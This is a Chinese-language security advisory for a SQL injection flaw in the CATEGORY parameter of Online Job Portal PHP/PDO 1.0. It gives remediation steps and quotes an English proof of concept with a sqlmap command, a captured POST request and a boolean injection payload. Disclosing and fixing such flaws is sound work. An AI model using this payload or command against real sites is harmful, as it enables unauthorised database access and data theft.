# 在线求职门户 PHP/PDO 1.0 SQL 注入漏洞 ## 漏洞概述 该在线求职门户(Online Job Portal)PHP/PDO 版本 1.0 存在远程 SQL 注入漏洞。参数 `CATEGORY` 在搜索请求中未正确过滤,导致攻击者可通过构造恶意输入执行任意 SQL 命令。 ## 影响范围 - **软件名称**: Online Job Portal In PHP/PDO v1.0 - **漏洞类型**: SQL Injection (SQL 注入) - **受影响参数**: `CATEGORY` - **测试环境**: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 - **发布日期**: 2020-08-21 - **作者**: Mohamed Elobeid (0b31d) ## 修复方案 1. 对输入参数 `CATEGORY` 进行严格的输入验证和过滤。 2. 使用预处理语句(Prepared Statements)和参数化查询来替代直接拼接 SQL 字符串。 3. 确保所有用户输入都经过适当的转义或清理。 ## POC 代码 ```bash # Title: online job portal phppdo v1.0 - SQL injection # Exploit Author: Mohamed Elobeid (0b31d) # Date: 2020-08-21 # Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-in-php-pdo.html # Software Link: https://www.sourcecodester.com/download-code?nid=13850 # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 # Description This parameter "CATEGORY" is vulnerable to SQL injection in this portal. #POC 1-sqlmap -r request.txt -p CATEGORY --dbs where the request.txt is an intercept of a search request captured POST /jobportal/index.php?q=result&searchfor=advancesearch HTTP/1.1 Host: 192.168.52.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.52.1/jobportal/ Content-Type: application/x-www-form-urlencoded Content-Length: 41 Connection: close Cookie: PHPSESSID=bb4q25d3qceicepo7b3d26cfpp Upgrade-Insecure-Requests: 1 SEARCH=&CATEGORY=Managerial&COMPANY=Quest 2- use a proxy to intercept a search request ad change the CATEGORY Managerial' OR NOT 5832=5832#&COMPANY=Quest Regards, Mohamed Elobeid Security Engineer, Cyber Security Operations Center Diyar United Company ```